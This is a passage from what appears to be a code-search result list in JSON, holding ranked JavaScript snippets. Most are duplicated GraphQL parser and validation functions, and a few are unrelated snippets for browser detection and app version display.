members.push(parseNamedType(lexer));\n } while (skip(lexer, _lexer.TokenKind.PIPE));\n return members;\n}", "title": "" }, { "docid": "390f08185b1b95fc8c314f7ea9b099ae", "score": "0.51601183", "text": "function parseEnumTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'enum');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var values = parseEnumValuesDefinition(lexer);\n\n if (directives.length === 0 && values.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: __WEBPACK_IMPORTED_MODULE_4__kinds__[\"a\" /* Kind */].ENUM_TYPE_EXTENSION,\n name: name,\n directives: directives,\n values: values,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "93abfcf42038cae99fb9fd24eca4ea77", "score": "0.5156998", "text": "function parseEnumTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'enum');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var values = parseEnumValuesDefinition(lexer);\n\n if (directives.length === 0 && values.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds__WEBPACK_IMPORTED_MODULE_4__[\"Kind\"].ENUM_TYPE_EXTENSION,\n name: name,\n directives: directives,\n values: values,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "88a43e0a32567ad805412afb4ebcc2d5", "score": "0.51562417", "text": "function parseEnumTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'enum');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var values = parseEnumValuesDefinition(lexer);\n\n if (directives.length === 0 && values.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds__WEBPACK_IMPORTED_MODULE_6__[\"Kind\"].ENUM_TYPE_EXTENSION,\n name: name,\n directives: directives,\n values: values,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "52c65ca8448ee5c9eafdc1b104fa7a9d", "score": "0.5151206", "text": "function parseEnumTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'enum');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var values = parseEnumValuesDefinition(lexer);\n\n if (directives.length === 0 && values.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds__WEBPACK_IMPORTED_MODULE_5__[\"Kind\"].ENUM_TYPE_EXTENSION,\n name: name,\n directives: directives,\n values: values,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "dc82b861aa3ec0b8c693f0eee57b574c", "score": "0.5143422", "text": "function parseUnionTypeDefinition(lexer) {\n var start = lexer.token;\n var description = parseDescription(lexer);\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var types = parseUnionMemberTypes(lexer);\n return {\n kind: _kinds.Kind.UNION_TYPE_DEFINITION,\n description: description,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "dc82b861aa3ec0b8c693f0eee57b574c", "score": "0.5143422", "text": "function parseUnionTypeDefinition(lexer) {\n var start = lexer.token;\n var description = parseDescription(lexer);\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var types = parseUnionMemberTypes(lexer);\n return {\n kind: _kinds.Kind.UNION_TYPE_DEFINITION,\n description: description,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "dc82b861aa3ec0b8c693f0eee57b574c", "score": "0.5143422", "text": "function parseUnionTypeDefinition(lexer) {\n var start = lexer.token;\n var description = parseDescription(lexer);\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var types = parseUnionMemberTypes(lexer);\n return {\n kind: _kinds.Kind.UNION_TYPE_DEFINITION,\n description: description,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "dc82b861aa3ec0b8c693f0eee57b574c", "score": "0.5143422", "text": "function parseUnionTypeDefinition(lexer) {\n var start = lexer.token;\n var description = parseDescription(lexer);\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var types = parseUnionMemberTypes(lexer);\n return {\n kind: _kinds.Kind.UNION_TYPE_DEFINITION,\n description: description,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "dc82b861aa3ec0b8c693f0eee57b574c", "score": "0.5143422", "text": "function parseUnionTypeDefinition(lexer) {\n var start = lexer.token;\n var description = parseDescription(lexer);\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var types = parseUnionMemberTypes(lexer);\n return {\n kind: _kinds.Kind.UNION_TYPE_DEFINITION,\n description: description,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "2fa01a47514492e216ff22a026454e77", "score": "0.5139401", "text": "function parseUnionTypeDefinition(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer);\n expect(lexer, _lexer.TokenKind.EQUALS);\n var types = parseUnionMembers(lexer);\n return {\n kind: _kinds.UNION_TYPE_DEFINITION,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "2fa01a47514492e216ff22a026454e77", "score": "0.5139401", "text": "function parseUnionTypeDefinition(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer);\n expect(lexer, _lexer.TokenKind.EQUALS);\n var types = parseUnionMembers(lexer);\n return {\n kind: _kinds.UNION_TYPE_DEFINITION,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "804ea45832021ca6a101c6ddb9839181", "score": "0.5123196", "text": "shatter(): Union { throw new NotImplementedError() }", "title": "" }, { "docid": "e9baf63742f4af03dd0176eb1a172aaf", "score": "0.51017785", "text": "function parseEnumTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'enum');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var values = parseEnumValuesDefinition(lexer);\n\n if (directives.length === 0 && values.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds__WEBPACK_IMPORTED_MODULE_5__[/* Kind */ \"a\"].ENUM_TYPE_EXTENSION,\n name: name,\n directives: directives,\n values: values,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "63c97276fc188ba3b0f7b8ca1c4e14f2", "score": "0.5096947", "text": "function parseUnionTypeDefinition(lexer) {\n\t var start = lexer.token;\n\t var description = parseDescription(lexer);\n\t expectKeyword(lexer, 'union');\n\t var name = parseName(lexer);\n\t var directives = parseDirectives(lexer, true);\n\t var types = parseUnionMemberTypes(lexer);\n\t return {\n\t kind: Kind.UNION_TYPE_DEFINITION,\n\t description: description,\n\t name: name,\n\t directives: directives,\n\t types: types,\n\t loc: loc(lexer, start)\n\t };\n\t}", "title": "" }, { "docid": "dd66770d7f6c0e155299d0b987b3c81f", "score": "0.5090915", "text": "function parseUnionTypeDefinition(lexer) {\n\t var start = lexer.token;\n\t expectKeyword(lexer, 'union');\n\t var name = parseName(lexer);\n\t var directives = parseDirectives(lexer);\n\t expect(lexer, _lexer.TokenKind.EQUALS);\n\t var types = parseUnionMembers(lexer);\n\t return {\n\t kind: _kinds.UNION_TYPE_DEFINITION,\n\t name: name,\n\t directives: directives,\n\t types: types,\n\t loc: loc(lexer, start)\n\t };\n\t}", "title": "" }, { "docid": "dd66770d7f6c0e155299d0b987b3c81f", "score": "0.5090915", "text": "function parseUnionTypeDefinition(lexer) {\n\t var start = lexer.token;\n\t expectKeyword(lexer, 'union');\n\t var name = parseName(lexer);\n\t var directives = parseDirectives(lexer);\n\t expect(lexer, _lexer.TokenKind.EQUALS);\n\t var types = parseUnionMembers(lexer);\n\t return {\n\t kind: _kinds.UNION_TYPE_DEFINITION,\n\t name: name,\n\t directives: directives,\n\t types: types,\n\t loc: loc(lexer, start)\n\t };\n\t}", "title": "" }, { "docid": "9e823762da1d0e2024c4d8062376429f", "score": "0.5088109", "text": "visitXSDExtensionType(xsdExt){\n\n }", "title": "" }, { "docid": "e44b6cf48091aa878336e5b95418407a", "score": "0.50554544", "text": "function parseUnionMembers(lexer) {\n\t var members = [];\n\t do {\n\t members.push(parseNamedType(lexer));\n\t } while (skip(lexer, _lexer.TokenKind.PIPE));\n\t return members;\n\t}", "title": "" }, { "docid": "67a056f84f03cbf1419e8793dbdc0372", "score": "0.5041718", "text": "function UnionType(attrs, opts) {\n Type.call(this);\n\n if (!Array.isArray(attrs)) {\n throw new Error(f('non-array union schema: %j', attrs));\n }\n if (!attrs.length) {\n throw new Error('empty union');\n }\n this._types = attrs.map(function (obj) { return createType(obj, opts); });\n\n this._branchIndices = {};\n this._types.forEach(function (type, i) {\n if (Type.isType(type, 'union')) {\n throw new Error('unions cannot be directly nested');\n }\n var branch = type.getName(true);\n if (this._branchIndices[branch] !== undefined) {\n throw new Error(f('duplicate union branch name: %j', branch));\n }\n this._branchIndices[branch] = i;\n }, this);\n}", "title": "" }, { "docid": "513e43721409463513e4a69193882005", "score": "0.50019294", "text": "function parseUnionMembers(lexer) {\n\t // Optional leading pipe\n\t skip(lexer, _lexer.TokenKind.PIPE);\n\t var members = [];\n\t do {\n\t members.push(parseNamedType(lexer));\n\t } while (skip(lexer, _lexer.TokenKind.PIPE));\n\t return members;\n\t}", "title": "" }, { "docid": "d2cff1b1fa703ee7033a18cbb5bf2cd8", "score": "0.49607238", "text": "function parseUnionType() {\n\t var elements, startIndex = index - 1;\n\t consume(Token.LPAREN, 'UnionType should start with (');\n\t elements = [];\n\t if (token !== Token.RPAREN) {\n\t while (true) {\n\t elements.push(parseTypeExpression());\n\t if (token === Token.RPAREN) {\n\t break;\n\t }\n\t expect(Token.PIPE);\n\t }\n\t }\n\t consume(Token.RPAREN, 'UnionType should end with )');\n\t return maybeAddRange({\n\t type: Syntax.UnionType,\n\t elements: elements\n\t }, [startIndex, previous]);\n\t }", "title": "" }, { "docid": "6e6adac02c8e1a642a840ac9101a2b0b", "score": "0.4916529", "text": "function reUnion(ls) {\n return '(?:' + ls.join('|') + ')';\n}", "title": "" }, { "docid": "b40f8cd0e5aa44b29d9c1daf4d5790c8", "score": "0.48966426", "text": "function parseScalarTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'scalar');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n if (directives.length === 0) {\n throw unexpected(lexer);\n }\n return {\n kind: _kinds.Kind.SCALAR_TYPE_EXTENSION,\n name: name,\n directives: directives,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "b40f8cd0e5aa44b29d9c1daf4d5790c8", "score": "0.48966426", "text": "function parseScalarTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'scalar');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n if (directives.length === 0) {\n throw unexpected(lexer);\n }\n return {\n kind: _kinds.Kind.SCALAR_TYPE_EXTENSION,\n name: name,\n directives: directives,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "444019e2c2ec0ffea2f19bd8201b9a5b", "score": "0.4891753", "text": "function parseScalarTypeExtension(lexer) {\n\t var start = lexer.token;\n\t expectKeyword(lexer, 'extend');\n\t expectKeyword(lexer, 'scalar');\n\t var name = parseName(lexer);\n\t var directives = parseDirectives(lexer, true);\n\t if (directives.length === 0) {\n\t throw unexpected(lexer);\n\t }\n\t return {\n\t kind: Kind.SCALAR_TYPE_EXTENSION,\n\t name: name,\n\t directives: directives,\n\t loc: loc(lexer, start)\n\t };\n\t}", "title": "" }, { "docid": "650d101a1ae1fefb42c8c5e80b724d3f", "score": "0.48865986", "text": "function convertUnionSyntaxToGraphql(filePart) {\n return filePart.replace(convertUnionSyntaxToGraphqlRegex, \"... on \").replace(/\\)/g, \"\");\n} // Compose function to chain multiple methods from this file together", "title": "" }, { "docid": "35b6924374c646a20365a60d5723adaa", "score": "0.48771903", "text": "function parseScalarTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'scalar');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n\n if (directives.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds.Kind.SCALAR_TYPE_EXTENSION,\n name: name,\n directives: directives,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "35b6924374c646a20365a60d5723adaa", "score": "0.48771903", "text": "function parseScalarTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'scalar');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n\n if (directives.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds.Kind.SCALAR_TYPE_EXTENSION,\n name: name,\n directives: directives,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "35b6924374c646a20365a60d5723adaa", "score": "0.48771903", "text": "function parseScalarTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'scalar');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n\n if (directives.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds.Kind.SCALAR_TYPE_EXTENSION,\n name: name,\n directives: directives,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "b9173304501201a471be2c67004fcb32", "score": "0.4864343", "text": "toUnion(): Union {\n return new Union(this.dim, [this], true);\n }", "title": "" }, { "docid": "60e50f7a549d1a9d7655596fbd84c989", "score": "0.48454276", "text": "static Union(module) {\n return Meta.extend(this, Meta.union, mappify(module));\n }", "title": "" }, { "docid": "73217fe4d648b54e80457f1c71e38137", "score": "0.4777579", "text": "function unionToTypeAnnotation(type: G.GraphQLUnionType, node: G.FieldNode, file: string) {\n if (!node.selectionSet) {\n throw new Error('Union types need subselections!');\n }\n return unionSelectionSetToTypeDefinition(type, node.selectionSet, file);\n }", "title": "" }, { "docid": "11bb006e2e89272026301e981cf99fbb", "score": "0.47749817", "text": "function parseTypeExtension(lexer) {\n var keywordToken = lexer.lookahead();\n\n if (keywordToken.kind === _lexer.TokenKind.NAME) {\n switch (keywordToken.value) {\n case 'scalar':\n return parseScalarTypeExtension(lexer);\n case 'type':\n return parseObjectTypeExtension(lexer);\n case 'interface':\n return parseInterfaceTypeExtension(lexer);\n case 'union':\n return parseUnionTypeExtension(lexer);\n case 'enum':\n return parseEnumTypeExtension(lexer);\n case 'input':\n return parseInputObjectTypeExtension(lexer);\n }\n }\n\n throw unexpected(lexer, keywordToken);\n}", "title": "" }, { "docid": "11bb006e2e89272026301e981cf99fbb", "score": "0.47749817", "text": "function parseTypeExtension(lexer) {\n var keywordToken = lexer.lookahead();\n\n if (keywordToken.kind === _lexer.TokenKind.NAME) {\n switch (keywordToken.value) {\n case 'scalar':\n return parseScalarTypeExtension(lexer);\n case 'type':\n return parseObjectTypeExtension(lexer);\n case 'interface':\n return parseInterfaceTypeExtension(lexer);\n case 'union':\n return parseUnionTypeExtension(lexer);\n case 'enum':\n return parseEnumTypeExtension(lexer);\n case 'input':\n return parseInputObjectTypeExtension(lexer);\n }\n }\n\n throw unexpected(lexer, keywordToken);\n}", "title": "" }, { "docid": "364aa6f25aecdcef01577cae5bff0da5", "score": "0.47634888", "text": "function PossibleTypeExtensionsRule(context) {\n var schema = context.getSchema();\n var definedTypes = Object.create(null);\n\n for (var _i2 = 0, _context$getDocument$2 = context.getDocument().definitions; _i2 < _context$getDocument$2.length; _i2++) {\n var def = _context$getDocument$2[_i2];\n\n if ((0, _predicates.isTypeDefinitionNode)(def)) {\n definedTypes[def.name.value] = def;\n }\n }\n\n return {\n ScalarTypeExtension: checkExtension,\n ObjectTypeExtension: checkExtension,\n InterfaceTypeExtension: checkExtension,\n UnionTypeExtension: checkExtension,\n EnumTypeExtension: checkExtension,\n InputObjectTypeExtension: checkExtension\n };\n\n function checkExtension(node) {\n var typeName = node.name.value;\n var defNode = definedTypes[typeName];\n var existingType = schema === null || schema === void 0 ? void 0 : schema.getType(typeName);\n var expectedKind;\n\n if (defNode) {\n expectedKind = defKindToExtKind[defNode.kind];\n } else if (existingType) {\n expectedKind = typeToExtKind(existingType);\n }\n\n if (expectedKind) {\n if (expectedKind !== node.kind) {\n var kindStr = extensionKindToTypeName(node.kind);\n context.reportError(new _GraphQLError.GraphQLError(\"Cannot extend non-\".concat(kindStr, \" type \\\"\").concat(typeName, \"\\\".\"), defNode ? [defNode, node] : node));\n }\n } else {\n var allTypeNames = Object.keys(definedTypes);\n\n if (schema) {\n allTypeNames = allTypeNames.concat(Object.keys(schema.getTypeMap()));\n }\n\n var suggestedTypes = (0, _suggestionList.default)(typeName, allTypeNames);\n context.reportError(new _GraphQLError.GraphQLError(\"Cannot extend type \\\"\".concat(typeName, \"\\\" because it is not defined.\") + (0, _didYouMean.default)(suggestedTypes), node.name));\n }\n }\n}", "title": "" }, { "docid": "364aa6f25aecdcef01577cae5bff0da5", "score": "0.47634888", "text": "function PossibleTypeExtensionsRule(context) {\n var schema = context.getSchema();\n var definedTypes = Object.create(null);\n\n for (var _i2 = 0, _context$getDocument$2 = context.getDocument().definitions; _i2 < _context$getDocument$2.length; _i2++) {\n var def = _context$getDocument$2[_i2];\n\n if ((0, _predicates.isTypeDefinitionNode)(def)) {\n definedTypes[def.name.value] = def;\n }\n }\n\n return {\n ScalarTypeExtension: checkExtension,\n ObjectTypeExtension: checkExtension,\n InterfaceTypeExtension: checkExtension,\n UnionTypeExtension: checkExtension,\n EnumTypeExtension: checkExtension,\n InputObjectTypeExtension: checkExtension\n };\n\n function checkExtension(node) {\n var typeName = node.name.value;\n var defNode = definedTypes[typeName];\n var existingType = schema === null || schema === void 0 ? void 0 : schema.getType(typeName);\n var expectedKind;\n\n if (defNode) {\n expectedKind = defKindToExtKind[defNode.kind];\n } else if (existingType) {\n expectedKind = typeToExtKind(existingType);\n }\n\n if (expectedKind) {\n if (expectedKind !== node.kind) {\n var kindStr = extensionKindToTypeName(node.kind);\n context.reportError(new _GraphQLError.GraphQLError(\"Cannot extend non-\".concat(kindStr, \" type \\\"\").concat(typeName, \"\\\".\"), defNode ? [defNode, node] : node));\n }\n } else {\n var allTypeNames = Object.keys(definedTypes);\n\n if (schema) {\n allTypeNames = allTypeNames.concat(Object.keys(schema.getTypeMap()));\n }\n\n var suggestedTypes = (0, _suggestionList.default)(typeName, allTypeNames);\n context.reportError(new _GraphQLError.GraphQLError(\"Cannot extend type \\\"\".concat(typeName, \"\\\" because it is not defined.\") + (0, _didYouMean.default)(suggestedTypes), node.name));\n }\n }\n}", "title": "" }, { "docid": "364aa6f25aecdcef01577cae5bff0da5", "score": "0.47634888", "text": "function PossibleTypeExtensionsRule(context) {\n var schema = context.getSchema();\n var definedTypes = Object.create(null);\n\n for (var _i2 = 0, _context$getDocument$2 = context.getDocument().definitions; _i2 < _context$getDocument$2.length; _i2++) {\n var def = _context$getDocument$2[_i2];\n\n if ((0, _predicates.isTypeDefinitionNode)(def)) {\n definedTypes[def.name.value] = def;\n }\n }\n\n return {\n ScalarTypeExtension: checkExtension,\n ObjectTypeExtension: checkExtension,\n InterfaceTypeExtension: checkExtension,\n UnionTypeExtension: checkExtension,\n EnumTypeExtension: checkExtension,\n InputObjectTypeExtension: checkExtension\n };\n\n function checkExtension(node) {\n var typeName = node.name.value;\n var defNode = definedTypes[typeName];\n var existingType = schema === null || schema === void 0 ? void 0 : schema.getType(typeName);\n var expectedKind;\n\n if (defNode) {\n expectedKind = defKindToExtKind[defNode.kind];\n } else if (existingType) {\n expectedKind = typeToExtKind(existingType);\n }\n\n if (expectedKind) {\n if (expectedKind !== node.kind) {\n var kindStr = extensionKindToTypeName(node.kind);\n context.reportError(new _GraphQLError.GraphQLError(\"Cannot extend non-\".concat(kindStr, \" type \\\"\").concat(typeName, \"\\\".\"), defNode ? [defNode, node] : node));\n }\n } else {\n var allTypeNames = Object.keys(definedTypes);\n\n if (schema) {\n allTypeNames = allTypeNames.concat(Object.keys(schema.getTypeMap()));\n }\n\n var suggestedTypes = (0, _suggestionList.default)(typeName, allTypeNames);\n context.reportError(new _GraphQLError.GraphQLError(\"Cannot extend type \\\"\".concat(typeName, \"\\\" because it is not defined.\") + (0, _didYouMean.default)(suggestedTypes), node.name));\n }\n }\n}", "title": "" }, { "docid": "a52c01c928d0980977fccd92e1b3a5e8", "score": "0.47513276", "text": "function parseInterfaceTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'interface');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var fields = parseFieldsDefinition(lexer);\n\n if (directives.length === 0 && fields.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: __WEBPACK_IMPORTED_MODULE_4__kinds__[\"a\" /* Kind */].INTERFACE_TYPE_EXTENSION,\n name: name,\n directives: directives,\n fields: fields,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "5c1edabf1154cef3147420c81d46c645", "score": "0.47288448", "text": "function PossibleTypeExtensionsRule(context) {\n var schema = context.getSchema();\n var definedTypes = Object.create(null);\n\n for (var _i2 = 0, _context$getDocument$2 = context.getDocument().definitions; _i2 < _context$getDocument$2.length; _i2++) {\n var def = _context$getDocument$2[_i2];\n\n if ((0, _predicates$1.isTypeDefinitionNode)(def)) {\n definedTypes[def.name.value] = def;\n }\n }\n\n return {\n ScalarTypeExtension: checkExtension,\n ObjectTypeExtension: checkExtension,\n InterfaceTypeExtension: checkExtension,\n UnionTypeExtension: checkExtension,\n EnumTypeExtension: checkExtension,\n InputObjectTypeExtension: checkExtension\n };\n\n function checkExtension(node) {\n var typeName = node.name.value;\n var defNode = definedTypes[typeName];\n var existingType = schema === null || schema === void 0 ? void 0 : schema.getType(typeName);\n var expectedKind;\n\n if (defNode) {\n expectedKind = defKindToExtKind[defNode.kind];\n } else if (existingType) {\n expectedKind = typeToExtKind(existingType);\n }\n\n if (expectedKind) {\n if (expectedKind !== node.kind) {\n var kindStr = extensionKindToTypeName(node.kind);\n context.reportError(new _GraphQLError$8.GraphQLError(\"Cannot extend non-\".concat(kindStr, \" type \\\"\").concat(typeName, \"\\\".\"), defNode ? [defNode, node] : node));\n }\n } else {\n var allTypeNames = Object.keys(definedTypes);\n\n if (schema) {\n allTypeNames = allTypeNames.concat(Object.keys(schema.getTypeMap()));\n }\n\n var suggestedTypes = (0, _suggestionList$1.default)(typeName, allTypeNames);\n context.reportError(new _GraphQLError$8.GraphQLError(\"Cannot extend type \\\"\".concat(typeName, \"\\\" because it is not defined.\") + (0, _didYouMean$1.default)(suggestedTypes), node.name));\n }\n }\n }", "title": "" }, { "docid": "f987112266c27b3b7f35a7e216425789", "score": "0.4721673", "text": "function parseInterfaceTypeExtension(lexer) {\n\t var start = lexer.token;\n\t expectKeyword(lexer, 'extend');\n\t expectKeyword(lexer, 'interface');\n\t var name = parseName(lexer);\n\t var directives = parseDirectives(lexer, true);\n\t var fields = parseFieldsDefinition(lexer);\n\t if (directives.length === 0 && fields.length === 0) {\n\t throw unexpected(lexer);\n\t }\n\t return {\n\t kind: Kind.INTERFACE_TYPE_EXTENSION,\n\t name: name,\n\t directives: directives,\n\t fields: fields,\n\t loc: loc(lexer, start)\n\t };\n\t}", "title": "" }, { "docid": "63c38c95f1ac50bfe5c8449f1f937716", "score": "0.47207355", "text": "function parseTypeExtension(lexer) {\n\t var keywordToken = lexer.lookahead();\n\n\t if (keywordToken.kind === TokenKind.NAME) {\n\t switch (keywordToken.value) {\n\t case 'scalar':\n\t return parseScalarTypeExtension(lexer);\n\t case 'type':\n\t return parseObjectTypeExtension(lexer);\n\t case 'interface':\n\t return parseInterfaceTypeExtension(lexer);\n\t case 'union':\n\t return parseUnionTypeExtension(lexer);\n\t case 'enum':\n\t return parseEnumTypeExtension(lexer);\n\t case 'input':\n\t return parseInputObjectTypeExtension(lexer);\n\t }\n\t }\n\n\t throw unexpected(lexer, keywordToken);\n\t}", "title": "" }, { "docid": "98fa9820b893ea9bcb204c6f6af81b81", "score": "0.47151828", "text": "function parseInterfaceTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'interface');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var fields = parseFieldsDefinition(lexer);\n if (directives.length === 0 && fields.length === 0) {\n throw unexpected(lexer);\n }\n return {\n kind: _kinds.Kind.INTERFACE_TYPE_EXTENSION,\n name: name,\n directives: directives,\n fields: fields,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "98fa9820b893ea9bcb204c6f6af81b81", "score": "0.47151828", "text": "function parseInterfaceTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'interface');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var fields = parseFieldsDefinition(lexer);\n if (directives.length === 0 && fields.length === 0) {\n throw unexpected(lexer);\n }\n return {\n kind: _kinds.Kind.INTERFACE_TYPE_EXTENSION,\n name: name,\n directives: directives,\n fields: fields,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "ab57f4d34197b8681c2642728ad4b3e9", "score": "0.47086507", "text": "static addTypesToUnion( typeSet, types )\n {\n for ( const type of types )\n {\n UnionType.addTypeToUnion( typeSet, type );\n }\n }", "title": "" }, { "docid": "af03d25ae97f72580fbc94ae8af03bf6", "score": "0.4702076", "text": "function parseInterfaceTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'interface');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var fields = parseFieldsDefinition(lexer);\n\n if (directives.length === 0 && fields.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds__WEBPACK_IMPORTED_MODULE_5__[/* Kind */ \"a\"].INTERFACE_TYPE_EXTENSION,\n name: name,\n directives: directives,\n fields: fields,\n loc: loc(lexer, start)\n };\n}", "title": "" } ]
08ff2c6888dca0beac919e22234cc147
Browser / Version detection Get correct name for fetching UI assets
[ { "docid": "44282e95230494f9dcee8279208b2ff0", "score": "0.52255416", "text": "function getBrowserName () {\n if (!browserInfo || !browserInfo.browser) return\n\n let browser = browserInfo.browser.toLowerCase()\n if (browser === 'firefox') browser = 'moz'\n\n return browser\n}", "title": "" } ]
[ { "docid": "c8b750f2075f8a43ca722d592873023c", "score": "0.6230242", "text": "get assetBundleName() {}", "title": "" }, { "docid": "95d548f4d3c989327f408f772524480b", "score": "0.6181082", "text": "get customElementName() {\n const r = /chrome\\:\\/\\/downloads\\/([a-zA-Z-_]+)\\.html/;\n const result = r.exec(this.browsePreload);\n if (!result || result.length < 1) {\n // Loading the main page, so wait for downloads manager.\n return 'downloads-manager';\n }\n return 'downloads-' + result[1].replace(/_/gi, '-');\n }", "title": "" }, { "docid": "b132c28b4f74ee0529fefb4811f7fc04", "score": "0.61411995", "text": "function set_name_and_version(){\n let manifest = chrome.runtime.getManifest();\n document.getElementById('about_details').innerHTML = manifest.name + \" v\" + manifest.version;\n}", "title": "" }, { "docid": "4ae2e915f430fa5fe4f2a6bfa59c3e52", "score": "0.59493715", "text": "function getAppVersionInfo() {\n serviceModule.loadJSON(\"./assets/data/app.manifest.json\", (response) => {\n response = JSON.parse(response);\n appName = response.appName;\n appVersion = response.appVersion;\n let _appVersionEl = document.getElementById(\"appVersion\");\n if (!!appName && !!appVersion) {\n let _successMessage = `${appName} Version: ${appVersion}`;\n if (!!_appVersionEl) {\n _appVersionEl.classList.remove(errorClass);\n _appVersionEl.innerHTML = _successMessage;\n }\n } else {\n if (!!_appVersionEl) {\n _appVersionEl.classList.add(errorClass);\n _appVersionEl.innerHTML = `Error: While fetching sample project version.`;\n }\n }\n });\n }", "title": "" }, { "docid": "e10ef661f2eb28d5f0aba7d7c33f0a60", "score": "0.59358066", "text": "function assetNameToURL(name) {\r\n switch(name) {\r\n case \"Spooky\":\r\n return browser.extension.getURL(\"assets/skull-trumpet.png\");\r\n case \"Spookier\":\r\n return browser.extension.getURL(\"assets/skeleton-angry.jpg\");\r\n case \"Spookiest\":\r\n return broswer.extension.getURL(\"assets/spookybois.jpg\")\r\n }\r\n }", "title": "" }, { "docid": "275f79d7e24c6087fcc1e4bc239d18a2", "score": "0.58301634", "text": "function siteVersion() {\n\tswitch(window.location.pathname) {\n\t\tcase \"/Unimarklet/\":\n\t\t\treturn \"1.0.0\";\n\t\t\tbreak;\n\t\tcase \"/venus/\":\n\t\t\treturn \"1.0.0\";\n\t\t\tbreak;\n\t\tdefault:\n\t\t\treturn \"1.0.0\";\n\t}\n}", "title": "" }, { "docid": "a58b22acde673d4e20a62ee95c7a02e8", "score": "0.57874805", "text": "function getLogoByVersion(version) {\n const major = version.split('.')[0];\n if (['7', '8', '10', '11'].includes(major)) return major;\n return 'windows';\n}", "title": "" }, { "docid": "a1cc7c8620a8220b8f9c3819e87e59c7", "score": "0.5778241", "text": "static get bundleVersion() {}", "title": "" }, { "docid": "e7bbd427aed8a6edbcafceef5d709a90", "score": "0.5702051", "text": "function getName(type) {\n const data = \"the browser is 